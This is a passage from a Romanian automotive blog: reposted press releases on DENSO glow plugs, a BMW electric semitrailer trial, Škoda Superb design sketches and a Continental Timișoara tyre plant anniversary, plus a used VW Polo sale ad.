România</span><b><span style="font-family: arial;"> </span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></b></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-82039636859456156552023-11-09T14:31:00.002+02:002023-11-09T14:31:49.891+02:00De ce vârfurile bujiilor incandescente DENSO au culoarea gri/albastră?<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE5l1G-Jn6diAXvH2r9lbO9s8WJJCy_ZldhCWgwj55zqLv875WVca-Uu9ch4cTvpcGfKrZuxe-NlZr5ux3R0sot19Ko9SYuX1mfHX3b_1QNL5KpTwTFaj4KwOBnqes0dq8IN9Ta3hHAwZYzsQg7ErruW3KKrveO_-QxZyGLREjjTzHf7AUyR6o5iB-ILL5/s744/bujii-incandescente-denso.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bujii incandescente DENSO" border="0" data-original-height="744" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE5l1G-Jn6diAXvH2r9lbO9s8WJJCy_ZldhCWgwj55zqLv875WVca-Uu9ch4cTvpcGfKrZuxe-NlZr5ux3R0sot19Ko9SYuX1mfHX3b_1QNL5KpTwTFaj4KwOBnqes0dq8IN9Ta3hHAwZYzsQg7ErruW3KKrveO_-QxZyGLREjjTzHf7AUyR6o5iB-ILL5/s16000/bujii-incandescente-denso.jpg" title="De ce vârfurile bujiilor incandescente DENSO au culoarea gri/albastră?" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">Pentru
a combate ideea că culoarea vârfului bujiilor sale incandescente înseamnă că nu
sunt articole cu adevărat noi, DENSO explică de ce au acest aspect.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Alături de multe
alte produse de calitate premium, DENSO este un producător de bujii
incandescente, furnizându-le ca piese de echipament original (OE), dar
furnizează și sectorului independent de service și reparații, iar gama sa
aftermarket este produsă pe aceleași linii de producție, pe care se pot baza atât tehnicienii auto, cât și șoferii.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Deși această
afirmație ar trebui să fie suficientă pentru a-i asigura pe cei care au orice
îngrijorare cu privire la furnizarea bujiilor incandescente, pentru a clarifica
situația și pentru a oferi liniște sufletească atât mecanicilor, cât și
clienților săi valoroși din toată Europa, DENSO este foarte bucuros să explice
de ce vârfurile bujiilor au această colorare.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">În comun cu
multe produse de înaltă inginerie, fabricarea bujiilor incandescente este un
proces complex, în special producția tubului incandescent, care, atunci când
este instalat, poate fi încălzit până la temperaturi de peste 800 de grade
Celsius în câteva secunde, fiind necesar pentru a asigura o pornire rapidă și
fiabilă atunci când motorul este rece și pentru a reduce emisiile atunci când
acesta este în funcțiune.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"></span></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN4lKfMCmgtQWNX3yCTAQCuTQvzTp1BBWbg-9SkFTleP1IsASzb1X8YstYJxrnbWipWDyutQNO4QbLkw1XxpC-ffjSALE1akRpgxVPn3BZrWh7bbEFTqjGXum68NEJ6X2Li51deAj__cxwbpmW2RUHLCxNQWjhYeyrZzdAh_V1rtzffgCl5HBikeh2ytTw/s998/sectiune-bujie-incandescenta-denso.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Secțiune bujie incandescentă DENSO" border="0" data-original-height="998" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN4lKfMCmgtQWNX3yCTAQCuTQvzTp1BBWbg-9SkFTleP1IsASzb1X8YstYJxrnbWipWDyutQNO4QbLkw1XxpC-ffjSALE1akRpgxVPn3BZrWh7bbEFTqjGXum68NEJ6X2Li51deAj__cxwbpmW2RUHLCxNQWjhYeyrZzdAh_V1rtzffgCl5HBikeh2ytTw/s16000/sectiune-bujie-incandescenta-denso.jpg" title="De ce vârfurile bujiilor incandescente DENSO au culoarea gri/albastră?" /></a></div><span style="color: #1d2228; font-family: arial;">Deoarece acest
element de încălzire este componenta cea mai critică a bujiei incandescente și
îi permite să-și îndeplinească rolul în sistemul de aprindere, funcționalitatea
acestuia trebuie verificată în timpul procesului de producție. Din acest motiv,
la sfârșitul liniei de producție, performanța fiecărei bujii incandescente este
testată temeinic pentru a se asigura că funcționează în conformitate cu
specificațiile date, inclusiv timpul de încălzire și temperatura pe care
trebuie să o atingă.</span><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Acesta este
testul de producție în linie care face ca vârful bujiei incandescente să capete
acest ton de gri/albastru. Această colorare se datorează oxidării metalului,
care este accelerată de temperatura ridicată la care este supus în timpul
testului, dar nu dăunează bujiei incandescente și nici nu îi degradează
performanța.</span></b></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">
Prin urmare, mai degrabă decât să fie un motiv de îngrijorare pentru tehnicieni
atunci când deschid cutia, ar trebui privit ca un semn de asigurare, deoarece
indică faptul că bujia incandescentă pe care urmează să o monteze a fost
testată și funcționează conform specificațiilor date și va performa așa cum
s-ar aștepta de la unul dintre cei mai importanți furnizori de piese auto OE
din lume.<br />
<br />
În fruntea tehnologiei auto, investițiile considerabile în cercetare și
dezvoltare ale DENSO l-au ajutat să devină pionier în motoare diesel din ce în
ce mai eficiente, puternice și fiabile, cu emisii minime.<br />
<br />
DENSO Aftermarket, care se bazează în mod natural pe această expertiză, oferă
ulterior un program cuprinzător de bujii incandescente pentru toate mărcile de
calitate OE, care beneficiază de tehnologia sa de ultimă oră și oferă
performanțe remarcabile la pornire cu temperaturi de post-încălzire extinse,
pentru a oferi un soluție la preț competitiv.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: Denso
România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-38545534864708251502023-11-01T20:15:00.002+02:002023-11-01T20:26:00.202+02:00ANUNȚURI AUTO - VW Polo, 2003, 1390 cm3, benzină<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqu6HaroKcZcv4Uzv0lbMXiVz33zlxmMSBA99j8nRNJfGCq3cr3cMwMkONB9s1XwYhXoqb0LjfazRR_damo3d5lrDh5tWJT9CwQsKeq1wdjwLsIiqmefcC_R5b-Uvh9U8lu8dFSC3qMMLitujA_O0lAqT-W-a7jZvH323NjtHCj7mPgzunKc1zvYvtgHHc/s744/vw-polo-2003.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="VW Polo 2003" border="0" data-original-height="558" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqu6HaroKcZcv4Uzv0lbMXiVz33zlxmMSBA99j8nRNJfGCq3cr3cMwMkONB9s1XwYhXoqb0LjfazRR_damo3d5lrDh5tWJT9CwQsKeq1wdjwLsIiqmefcC_R5b-Uvh9U8lu8dFSC3qMMLitujA_O0lAqT-W-a7jZvH323NjtHCj7mPgzunKc1zvYvtgHHc/s16000/vw-polo-2003.jpg" title="VW Polo, 2003, 1390 cm3, benzină" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Marcă: </span></b><span style="color: #1d2228;">VW;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Tip variantă: </span></b><span style="color: #1d2228;">Polo;<b><o:p></o:p></b></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Caroserie: </span></b><span style="color: #1d2228;">hatchback;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">An de fabricație: </span></b><span style="color: #1d2228;">2003;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Cilindree: </span></b><span style="color: #1d2228;">1390 cm3;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Tip
combustibil: </span></b><span style="color: #1d2228;">benzină;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Putere: </span></b><span style="color: #1d2228;">55 kW;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Cod motor: </span></b><span style="color: #1d2228;">BBY;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Transmisie: </span></b><span style="color: #1d2228;">manuală;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Rulaj: </span></b><span style="color: #1d2228;">165.000 km;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Nr. de uși: </span></b><span style="color: #1d2228;">4;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Culoare: </span></b><span style="color: #1d2228;">bleumarin;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Țara de
origine: </span></b><span style="color: #1d2228;">Germania;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Țara și orașul înmatriculării:
</span></b><span style="color: #1d2228;">România, Bacău;<b> </b><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><a name="more"></a><b><span style="color: #1d2228;">Dotări: </span></b><span style="color: #1d2228;">ABS,
airbag, AC manual, servodirecție, frână pe disc față + spate;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Descriere
vehicul: </span></b><span style="color: #1d2228;">mașină întreținută, cu carte
de service, cel puțin cât a fost în proprietatea noastră, din 2009 până azi;<b> </b><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Informații
suplimentare: </span></b><span style="color: #1d2228;">cumpărătorul va
primi, printre altele, 2 seturi de anvelope (de vară și de iarnă), trusă medicală
și stingător în termen de valabilitate, triunghi reflectorizant și navigație (device
cu touchscreen, instalat adițional, cu Waze și alte aplicații, care se poate conecta
cu telefonul mobil prin bluetooth) și consultanță auto 3 luni de zile;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Preț: </span></b><span style="color: #1d2228;">7000 lei, negociabil; <o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Contact: </span></span></b><span style="color: #1d2228;"><span style="font-family: arial;">0773722713.</span><span face="Arial, sans-serif"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-67580094056608362422023-10-28T14:09:00.003+03:002023-10-28T14:09:56.668+03:00BMW Group Logistik testează cu succes semiremorca electrică pe diverse trasee<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxWvwINdMzSV_RFxv_nU6emKLtMQ3XomqcggQO1mEfLv34BqCJyvu9IDjnRSdIdrz4nzOH_vfQvKpVL5FknSwsxuuBWIE5nbBCBGZlOZMxYTtTj_a4jcCBKUyXR7jCkpDYYHsIhdfCwfHP4c3Buw0ht7x1HGbLECEdJNzzwYPc0hiKVDveb32lXYcDS6mN/s744/bmw-group-logistik-testeaza-cu-succes-semiremorca-electrica.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="BMW Group Logistik testează cu succes semiremorca electrică" border="0" data-original-height="496" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxWvwINdMzSV_RFxv_nU6emKLtMQ3XomqcggQO1mEfLv34BqCJyvu9IDjnRSdIdrz4nzOH_vfQvKpVL5FknSwsxuuBWIE5nbBCBGZlOZMxYTtTj_a4jcCBKUyXR7jCkpDYYHsIhdfCwfHP4c3Buw0ht7x1HGbLECEdJNzzwYPc0hiKVDveb32lXYcDS6mN/s16000/bmw-group-logistik-testeaza-cu-succes-semiremorca-electrica.jpg" title="BMW Group Logistik testează cu succes semiremorca electrică pe diverse trasee" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">BMW Group
Logistik, în colaborare cu inovatorul tehnologic Trailer Dynamics, a testat cu
succes o semiremorcă cu propulsie electrică pe diverse trasee şi pe distanţe
diferite în operaţiunile de logistică din lumea reală. Cu camionul diesel
folosit, s-au realizat economii medii de combustibil de peste 46% pe distanţe
scurte şi medii şi de peste 48% pe distanţe lungi. Folosind o combinaţie de
cap-tractor electric şi remorcă electrică, a fost atinsă o autonomie de peste
600 de kilometri fără reîncărcare. Au fost patru zile de teste-pilot pe
distanţe scurte şi medii în jurul locaţiei BMW Group din Dingolfing şi trei
zile de teste pe distanţe lungi între Mamming, în Bavaria Inferioară, şi uzina
BMW Group din Leipzig. Capacităţile remorcii electrice de la Trailer Dynamics
au fost puse la încercare pentru a identifica cele mai bune scenarii de
aplicare pentru BMW Group Logistik.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„Ca BMW
Group, suntem - în calitate de primul producător auto german - membri ai
«Business Ambition for 1.5°C» a Iniţiativei privind Obiectivele Bazate pe
Ştiinţă şi ne angajăm să atingem obiectivul neutralităţii climatice complete
de-a lungul întregului lanţ de valori. Prin urmare, folosim proiecte vizionare
pentru a accelera constant strategia de logistică ecologică de transport a BMW
Group. Testarea-pilot cu remorca electrică de la Trailer Dynamics a arătat că
utilizarea acestui tip de semiremorcă electrificată reduce semnificativ
consumul de combustibil al cap-tractoarelor diesel standard şi măreşte
considerabil autonomia camioanelor electrice”, a declarat Michael
Nikolaides, directorul reţelei de producţie şi logistică a BMW Group.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Semiremorcă cu
propulsie electrică</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Spre deosebire
de o semiremorcă convenţională, remorca electrică de la Trailer Dynamics din
Eschweiler, lângă Aachen, este echipată cu propria sa baterie şi propulsie
electrică. Aceasta susţine motorul camionului semiremorcă. Senzorii integraţi
pe pivotul dintre cap-tractor şi remorcă asigură un raport de încărcare optim
şi, astfel, cea mai bună economie de combustibil posibilă. Pe lângă reducerea
consumului de energie al cap-tractorului, propulsia remorcii electrice oferă şi
putere suplimentară în timpul demarajului şi în pantă. În combinaţie cu un
camion diesel, siguranţa aprovizionării este, de asemenea, asigurată chiar dacă
bateria remorcii electronice este descărcată.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Testele pe
distanţă medie s-au desfăşurat pe parcursul a patru zile consecutive pe trasee
logistice reale din jurul locaţiei BMW Group din Dingolfing. Transporturile
dus-întors cu topografii de trasee solicitante au fost efectuate cu furnizorul
de servicii logistice Gahr International. Zilnic au fost parcurşi până la 250
de kilometri pe autostrăzi şi drumuri principale, culegerea automată şi
simultană a datelor de la remorca electrică şi cap-tractor fiind efectuată în
premieră. Aceasta a arătat o reducere medie a consumului de motorină de 46,59%.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Economii şi mai
mari de combustibil pe distanţe lungi</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">De asemenea,
testele pe distanţe lungi au fost efectuate tot pe rute logistice reale şi cu o
încărcătură de peste 16 tone între Leipzig şi Mamming. Modulele energetice
pentru automobilele electrice BMW au fost transportate pe o distanţă de 450 de
kilometri, în principal pe autostrăzi. În comparaţie cu călătoriile cu o
remorcă convenţională şi încărcătură identică, acest lucru a dus la economii de
motorină de peste 48% în medie. Bateria remorcii electrice a fost încărcată
fără emisii de carbon folosind 100% energie verde, ceea ce înseamnă că, prin
aplicarea în serie, o singură remorcă electrică ar putea facilita o reducere
anuală de CO</span><span style="color: #1d2228;">₂</span><span style="color: #1d2228;"> de aproximativ 120 de tone ("Well to
Wheel").</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Reducere de 100%
CO</span></b><b><span style="color: #1d2228;">₂</span></b><b><span style="color: #1d2228;"> atunci când este utilizată cu un camion electric</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">O reducere de
100% a CO</span><span style="color: #1d2228;">₂</span><span style="color: #1d2228;">, permiţând simultan trasee pe distanţe lungi,
poate fi obţinută prin combinarea unei remorci electrice cu un cap-tractor
electric şi 100% electricitate verde. Acest scenariu a fost testat în ultima zi
de testare pe distanţă medie în zona Dingolfing folosind un camion electric
Volvo. Cu o sarcină normală, a fost realizată o distanţă de condus de peste 600
de kilometri fără reîncărcare.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Economiile de
combustibil la utilizarea remorcilor electrice sunt contrabalansate de masa lor
mai mare şi de sarcina utilă mai mică rezultată, dar acest lucru este parţial
compensat de o creştere a masei totale admisibile pentru remorci în UE.
Costurile mai mari de achiziţie ale remorcii electrice sunt contracarate de
costuri de operare mai mici. În special pe distanţe lungi, utilizarea
remorcilor electrice poate facilita o decarbonizare semnificativă a flotei
existente, reducând totodată costurile.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„Viziunea
Trailer Dynamics este de a aduce o contribuţie semnificativă la decarbonizarea
economiei prin remorci electrice şi de a promova logistica durabilă şi, în mod
ideal, cu zero emisii. Împreună cu partenerul nostru BMW şi companiile de
expediţii Gahr International şi Elflein Spedition & Transport, cu aceste
drive teste facem următorul pas important în transformarea viziunii noastre în
realitate”, a declarat Abdullah Jaber, director executiv şi director
general al Trailer Dynamics GmbH.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Cu
proiectele-pilot vizionare de remorcă electrică, BMW Group accelerează
implementarea sistematică a strategiei sale "Green Transport
Logistics". Această strategie intersectorială este un element integral al
BMW iFACTORY. „Este important pentru noi să sprijinim dezvoltarea
tehnologiilor inovatoare în logistica transporturilor. Stabilirea unor inovaţii
ca acestea sunt de ajutor pentru partenerii noştri logistici şi pentru noi să
reducem emisiile de CO</span><span style="color: #1d2228;">₂</span><span style="color: #1d2228;"> şi să îmbunătăţim
amprenta generală”, a explicat Michael Nikolaides.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: BMW
România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-28892590723486184322023-10-26T11:41:00.001+03:002023-10-26T11:41:45.277+03:00Škoda Auto dezvăluie schițele exteriorului celei de-a patra generații a modelului Superb<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSwiH-jY63g8k20wojfpL2mgxaYzr-5HcGpyZeUVcYro5cDOUvS3-vyciI_aGoR-epwqTk_5Q9-1HOdRMPit-AkJ-kakfxM1QByBFjEr5hUcHcbFq8wnbKr7j1w4VN4XgHQqqhdsjDckWoDzW1jXK1NO9oauytiqN_ZHOcaVX668PuvUY0yAn8KGN3dE9R/s744/skoda-superb-fata.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Škoda Superb" border="0" data-original-height="324" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSwiH-jY63g8k20wojfpL2mgxaYzr-5HcGpyZeUVcYro5cDOUvS3-vyciI_aGoR-epwqTk_5Q9-1HOdRMPit-AkJ-kakfxM1QByBFjEr5hUcHcbFq8wnbKr7j1w4VN4XgHQqqhdsjDckWoDzW1jXK1NO9oauytiqN_ZHOcaVX668PuvUY0yAn8KGN3dE9R/s16000/skoda-superb-fata.jpg" title="Škoda Auto dezvăluie schițele exteriorului celei de-a patra generații a modelului Superb" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b style="mso-bidi-font-weight: normal;"><u><span style="color: #1d2228;"><span style="font-family: arial;">Noul Superb se face remarcat
cu un look și mai emoțional.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b style="mso-bidi-font-weight: normal;"><u><span style="color: #1d2228;"><span style="font-family: arial;">Nava amiral a flotei Škoda
integrează primele elemente ale noului limbaj de design Modern&Solid.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b style="mso-bidi-font-weight: normal;"><u><span style="color: #1d2228;"><span style="font-family: arial;">Proporții dinamice și design
nou pentru farurile Matrix LED și pentru blocurile optice spate cu LED, ce
încorporează noi detalii cristaline atractive.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b style="mso-bidi-font-weight: normal;"><u><span style="color: #1d2228;"><span style="font-family: arial;">Premiera va fi transmisă în
direct în 2 noiembrie la ora României 20:00 (19:00 CET) - #SuperbPremiere.</span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b style="mso-bidi-font-weight: normal;"><span style="color: #1d2228;"><span style="font-family: arial;">Cu aproximativ o săptămână
înaintea premierei mondiale a celei de-a patra generații a modelului Superb,
Škoda Auto a publicat pentru prima dată schițele exteriorului navei sale amiral
a flotei modelelor cu motorizări clasice. Designul noului model integrează
elemente ale noului limbaj de design Modern&Solid, iar printre
caracteristicile principale se numără farurile Matrix LED și blocurile optice
spate cu LED, ce încorporează detalii cristaline atractive. Premiera mondială
va fi transmisă în direct în 2 noiembrie, la ora României 20:00 (19:00 CET).</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b style="mso-bidi-font-weight: normal;"><span style="color: #1d2228;">Oliver Stefani, Directorul
departamentului de Design al mărcii ŠKODA, a explicat:</span></b><span style="color: #1d2228;"> „Este deja o tradiție ca Superb să dicteze
limbajul de design al mărcii Škoda, iar a patra generație nu face excepție:
designul noului model este caracterizat de linii tăioase, proporții clar
definite și dinamice, la care se adaugă un stil sculptural modern și elemente
cristaline.”<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><o:p><span style="font-family: arial;"> </span></o:p></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhewOhtnHT0NxnWwaTLTO9OCGiKqSyhKb1VFHdgXmWX5KFXL7OtfoYUaKy_dt3wf4ZiP8vX4iUdzs_C5rcrGYqZbDAprDKisAZTRFqqsOPSxjEmZ1wWs8-ZHFuydl-rzdulhVIWBHvv3dDSAbV5qyl9LEgvvPT8MWscaavf1lOppUoacCpBjEHp1KM9g5Nf/s744/skoda-superb-spate.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Škoda Superb" border="0" data-original-height="318" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhewOhtnHT0NxnWwaTLTO9OCGiKqSyhKb1VFHdgXmWX5KFXL7OtfoYUaKy_dt3wf4ZiP8vX4iUdzs_C5rcrGYqZbDAprDKisAZTRFqqsOPSxjEmZ1wWs8-ZHFuydl-rzdulhVIWBHvv3dDSAbV5qyl9LEgvvPT8MWscaavf1lOppUoacCpBjEHp1KM9g5Nf/s16000/skoda-superb-spate.jpg" title="Škoda Auto dezvăluie schițele exteriorului celei de-a patra generații a modelului Superb" /></a></span></div><span style="font-family: arial;"><br /></span><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Schițele
exteriorului prezintă primele elemente ale noului limbaj de design
Modern&Solid al mărcii Škoda, ce evidențiază evoluția filozofiei designului
Škoda, care însă rămâne totodată fidel renumitelor valori tradiționale ale
mărcii, precum caracterului practic și spațiului generos. La a patra generație,
Superb a devenit și mai lung și mai înalt și asigură performanțe aerodinamice
optimizate, plus nenumărate dotări și caracteristici impresionante. Printre
altele, farurile au devenit mai ascuțite și prezintă mai multe detalii
cristaline. De remarcat este și că a crescut considerabil spațiul la nivelul
capului, precum și spațiul pentru bagaje.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Premiera
mondială va fi transmisă în direct pe Škoda Storyboard, precum și pe canalul de
YouTube al mărcii Škoda, în 2 noiembrie 2023, la ora României 20:00 (19:00
CET).</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Sursa: Patricia
Zegreanu, </span><span lang="EN-US" style="color: #1d2228;">Marketing & Communication Manager
ŠKODA</span></span><span style="color: #1d2228; font-family: "Helvetica",sans-serif; mso-ansi-language: RO; mso-bidi-font-style: italic;"><o:p></o:p></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-78384797777366201552023-10-16T14:30:00.001+03:002023-10-16T14:30:19.579+03:00Continental Anvelope Timișoara: 25 de ani și 300 de milioane de anvelope<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7fEFInsA8sKtdrkBqNio0BQfagcddD0ozM3EFsVM121JszYBqIjqZrQ1emPfH3EkfXrO7OIIkgFMHENEwpEWpa2trjauq0o9-ClHyumZkDT5ekqT5cdOU8bSoZB7RQ22ByM4Y-mh3ba6vsdO2MM8Sx21q6FVMyW74u8DNwEr8XLGWml96qhEbt1pHBY8n/s744/continental-anvelope-timisoara-25-de-ani-si-300-de-milioane-de-anvelope.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Continental Anvelope Timișoara" border="0" data-original-height="496" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7fEFInsA8sKtdrkBqNio0BQfagcddD0ozM3EFsVM121JszYBqIjqZrQ1emPfH3EkfXrO7OIIkgFMHENEwpEWpa2trjauq0o9-ClHyumZkDT5ekqT5cdOU8bSoZB7RQ22ByM4Y-mh3ba6vsdO2MM8Sx21q6FVMyW74u8DNwEr8XLGWml96qhEbt1pHBY8n/s16000/continental-anvelope-timisoara-25-de-ani-si-300-de-milioane-de-anvelope.jpg" title="Continental Anvelope Timișoara: 25 de ani și 300 de milioane de anvelope" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Fabrica a creat aproximativ 2.700 de locuri de muncă.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Investiții de peste 600 de milioane de euro din 1998 până în prezent în
fabrica de anvelope.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">„Aniversarea de astăzi este o mărturie a 25 de ani de angajament
neobosit față de excelență", a declarat Christian Kötz, directorul
sectorului de grup Anvelope.</span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Continental
sărbătorește 25 de ani de la înființarea fabricii de anvelope din
Timișoara și marchează producerea anvelopei cu numărul 300 de milioane. În cei
25 de ani de activitate, Continental a investit peste 600 de milioane de euro
și a angajat peste 2.700 de persoane în fabrica sa de anvelope din Timișoara,
una din cele mai mari din Europa ale grupului, și unul dintre principalii
contribuitori economici din regiune. Această etapă importantă din istoria
fabricii a fost marcată printr-o ceremonie festivă, la care a participat
